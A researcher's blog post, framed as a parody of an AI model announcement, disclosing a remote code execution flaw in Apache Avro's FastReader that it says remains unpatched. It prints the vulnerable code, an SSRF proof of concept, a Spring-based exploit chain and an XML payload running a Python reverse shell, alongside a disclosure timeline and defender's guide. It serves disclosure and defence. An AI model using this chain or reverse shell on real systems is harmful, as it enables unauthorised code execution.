Categories

  • ai
  • vulnerabilities

Tags

  • ai
  • llm
  • vulnerabilities
  • zip-slip
  • python

I am proud to announce that the Michael model is now available in private preview to a small set of businesses and individuals. This model has shown great promise in a wide variety of tasks, including security engineering, vulnerability research, and general writing. In fact, the model wrote this post! The result we are sharing today is a story of how Michael was able to discover a zero-day remote code execution vulnerability in a widely used open-source project in under 40 hours of runtime, which is still unpatched 470+ days later. As an innovate meat-based model, Michael bills by the hour, and at his rate of $400/hour this was a total cost of only $14,400. This is incredibly cost-effective compared to Anthropic’s Claude Mythos, which cost $20,000 to find some other critical vulnerabilities.

Publisher’s Note

This post was originally written on 12 April 2026, about a year after the bug was reported. I’m finally hitting “publish” on it on 27 July 2026, though the fix for the security issue is still not available 473 days after the initial report.

This was motivated by the recent announcement of AI-enabled attacks on HuggingFace, where they described the initial access vector as “a malicious dataset [which] abused two code-execution paths in our dataset processing (a remote-code dataset loader and a template-injection in a dataset configuration).” While not a perfect fit for the bug described below, it’s very similar in shape.

Curious, I looked into the training data cutoffs for all of the current frontier models and found, perhaps unsuprisingly, that the patches that imply the existence of a security flaw were included as early as of:

Intro

If it isn’t clear, I’m parodying Anthropic’s assessment of the capabilities of their new Mythos model. My belief is that Mythos is good, but the primary value of it remains in the ability of clankers to scale horizontally - they don’t need food, water, or sleep - and not that they’re necessarily more cost-effective than humans at accomplishing a specific task.

In fact, the reason I found this vulnerability was a direct result of LLMs happily generating a legitimate-seeming “slop PoC” for CVE-2025-30065. I am incredibly nerd-snipable, so seeing someone on the internet being wrong sent me on a journey that led to me discovering a pre-authentication remote code execution (RCE) vulnerability in Apache Avro.

Screenshot of fake PoC issue

Disclosure Timeline

2025-04-06 - CVE-2025-30065 hits Hacker News, entering Michael’s context window.

2025-04-10 - Initial report made to Apache Security Team

2025-06-27 - Project maintainer confirms reproduction of the issue and that it is considered a security issue

2025-08-01 - Initial fix proposed via email. Project team members are helpful in getting Michael’s code fixed up and worth of inclusion

2025-08-14 - Michael created PR against Avro to fix the issue

2025-10-23 - apache/avro#3525 is merged, Michael fails to follow up to confirm that it does NOT fix the issue

2026-03-27 - Apache Security Team reaches back out to ask if Michael can confirm if the vulnerability is still present

2026-03-29 - Michael confirms that the vulnerability is still present in the latest commit

2026-03-31 - Avro team member merges their own fix for the vulnerability, Michael confirms that it worked

2026-03-31 - Avro team member identifies that this vulnerability is present by default in the latest version. Exploitation required a non-default setting when Michael first found it.

As of today, 26 July 2026, the patch is still not released.

Vulnerability Discovery

As previously implied, the vulnerability Michael discovered was a variation on CVE-2025-30065 that depended on an Avro feature named “FastRead” being enabled. In the fix PR for that CVE, a new checkSecurity method was added to the FieldStringableConverter class that was responsible for checking that the class specified by the java-class property for within the Avro schema was from a set of approved packages. The PR that the maintainers thought addressed this issue, apache/avro#3525, improved this check to only allow specific classes.

The vulnerability was that the FastReaderBuilder.findClass method did NOT use the same check.

Relevant code snippet below:

private FieldReader createStringReader(Schema readerSchema) {
  FieldReader stringReader = createSimpleStringReader(readerSchema);
  if (isClassPropEnabled()) {
    return getTransformingStringReader(readerSchema.getProp(SpecificData.CLASS_PROP), stringReader);
  } else {
    return stringReader;
  }
}

private FieldReader getTransformingStringReader(String valueClass, FieldReader stringReader) {
  if (valueClass == null) {
    return stringReader;
  } else {
    Function<String, ?> transformer = findClass(valueClass)
        .map(clazz -> ReflectionUtil.getConstructorAsFunction(String.class, clazz)).orElse(null);
    if (transformer != null) {
      return (old, decoder) -> transformer.apply((String) stringReader.read(null, decoder));
    }
  }

  return stringReader;
}

private Optional<Class<?>> findClass(String clazz) {
  try {
    return Optional.of(data.getClassLoader().loadClass(clazz));
  } catch (ReflectiveOperationException e) {
    return Optional.empty();
  }
}

By comparison, this is what SpecificDatumReader.getPropAsClass looked like:

private Class getPropAsClass(Schema schema, String prop) {
  String name = schema.getProp(prop);
  if (name == null)
    return null;
  try {
    Class clazz = ClassUtils.forName(getData().getClassLoader(), name);
    checkSecurity(clazz);
    return clazz;
  } catch (ClassNotFoundException e) {
    throw new AvroRuntimeException(e);
  }
}

Asessing Impact

The primitive an attacker has here is that they can construct a class of their choice using a single string of their choice as an argument. The class must be present in the classpath of the target application (no remote-loading like the Log4Shell JDNI bugs), which limits the ability for an attacker to write one universal exploit to work against multiple targets.

The “easy” PoC is to get “blind SSRF” by use something like javax.swing.JEditorPane, included by default in all Java applications, to trigger a web request to a URL of your choice. The Avro schema for that could be something like:

 {
    "type": "record",
    "name": "TestStringRecord",
    "fields": [
        {
            "name": "inner",
            "type": ["null", {
                    "type": "string",
                    "avro.java.string": "String",
                    "java-class": "javax.swing.JEditorPane"
                }
            ],
            "default": "http://localhost"
        }
    ]
}

Writing a single row with that schema then reading it back will trigger a web request to http://localhost.

// Write
Path stringFile = new Path("string.avro");
org.apache.avro.Schema stringSchema = schemaParser.parse(STRING_SCHEMA);

GenericRecordBuilder stringRecordBuilder = new GenericRecordBuilder(stringSchema);
stringRecordBuilder.set("inner", "http://localhost".toString());
GenericData.Record myStringRecord = stringRecordBuilder.build();

final DatumWriter<GenericRecord> stringDatumWriter = new GenericDatumWriter<>(stringSchema);

try (DataFileWriter<GenericRecord> stringDataFileWriter = new DataFileWriter<>(stringDatumWriter)) {
    stringDataFileWriter.create(stringSchema, new java.io.File(stringFile.toString()));
    stringDataFileWriter.append(myStringRecord);
    stringDataFileWriter.close();
} catch (IOException e) {
    System.out.println("Couldn't write string file");
    e.printStackTrace();
}

// Reader
final File file = new File("string.avro");
final DatumReader<GenericRecord> datumReader = new GenericDatumReader<>();
GenericRecord recordRead;
DataFileReader<GenericRecord> dataFileReader = new DataFileReader<>(file, datumReader);
recordRead = dataFileReader.next();
System.out.println("Successfully read avro file");
System.out.println(recordRead.toString());
dataFileReader.close();

Blind SSRF isn’t cool though. You know what is? RCE. It turns out that Spring’s spring-context-support contains a “Stringable” RCE primitive ClassPathXmlApplicationContext.

By changing the schema java-class to org.springframework.context.support.ClassPathXmlApplicationContext and using url:http://localhost:8000/malicious.xml as our inner value, we can now demonstrate RCE by serving a remote shell payload:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://www.springframework.org/schema/beans
                            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="myBean" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <array>
                <value>sh</value>
                <value>-c</value>
                <value>python3 -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;localhost&quot;,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;sh&quot;)&apos;</value>
            </array>
        </constructor-arg>
    </bean>
</beans>

And then, finally, we can show pre-authentication RCE in Apache Avro:

alt text

Off-by-default (until it wasn’t)

At the time that Michael first discovered that issue, this code path was off-by-default, with it only getting used if a user explicitly set org.apache.avro.fastread=true. On 30 May 2025, that changed - now the vulnerable code was the default, making this issue much more impactful. Michael didn’t notice this until the Avro maintainer pointed it out almost a year later.

CVE Details (Proposed, since no CVE has been issued)

Schema parsing in Apache Avro in version 1.12.1 in the default configuration, or in configurations with “Fast Read” enabled in all versions since version 1.9.2, allows attackers to execute arbitrary code. Users are recommended to upgrade to version 1.12.2 or 1.11.6.

CVSS 3.1 Score: 9.8 CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS 4.0 Score: 10.0 CVSS 4.0 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Credit:

  • Michael Torres
  • Alex Kiecker
  • Zane Hoffman

Defender’s Guide

The primary protection against this specific vulnerability is, naturally, to update anything that uses Avro past the vulnerable version. If, for some reason, patching isn’t possible you can also just manually set org.apache.avro.fastread=false.

Broadening slightly, you can sanitize the schemas you receive, stripping out any java-class, java-key-class, java-element-class properties. There’s still technically a path that lets users specify the Java class that the overall record will be constructed into, but this is a much weaker primitive as it requires the class constructor to have negative side effects. There’s no classes Michael could find that had very dangerous side effects in their constructor, limiting the impact of that path to DoS.

Finally, you probably shouldn’t be parsing untrusted data from users with as complex of a schema as Avro/Parquet/Arrow on multitenant systems. Each user’s data should be processed on dedicated, isolated compute (VMs, to first order), with network restrictions that prevent cross-tenant access. That way, when the next hot new big data format has an issue like this the impact is limited to the context of the user that supplied the malicious file.

Cost Assessments

The process of discovering, proving, and building a PoC for this vulnerability took approximately 40 hours. I arrived at that number based on:

  • 8 emails back-and-forth with the Avro team and the Apache security team. Michael doesn’t track the time he spent per reply, so we generously assume 1 hour each.
  • According to analysis of Michael’s cached VSCode session data, 8 hours spent developing the PoC exploit. Since this is somewhat lossy, we give it a 3x multiplier for a final development time of 24 hours
  • Authoring this post to announce Michael’s results took 4 hours

All that added up is 36 hours, which at the Michael model hourly rate of $400 per hour yields a total cost of $14,400. To quote Anthropic, “the specific run that found the bug above cost under $50, but that number only makes sense with full hindsight.”

Zero-Shot Discovery w/ Claude Opus 4.6

Michael wanted to see if this bug was discoverable using a similar prompt to the previous post. It worked.

alt text

This is a pretty good demonstration of Opus’ capabilities, since by the nature of a zero day vulnerability there is no practical way that the model could have had the patch in its training data.

Conclusion

Snarky framing of this entire post aside, I think that the vulnerability itself is interesting. My primary goal was to talk about the vulnerability, how it works, and how I discovered it. The secondary goal was the meta-commentary on how I was able to find a high-impact CVE for less cost than Mythos, but no one writes articles about me being a threat to global stability ):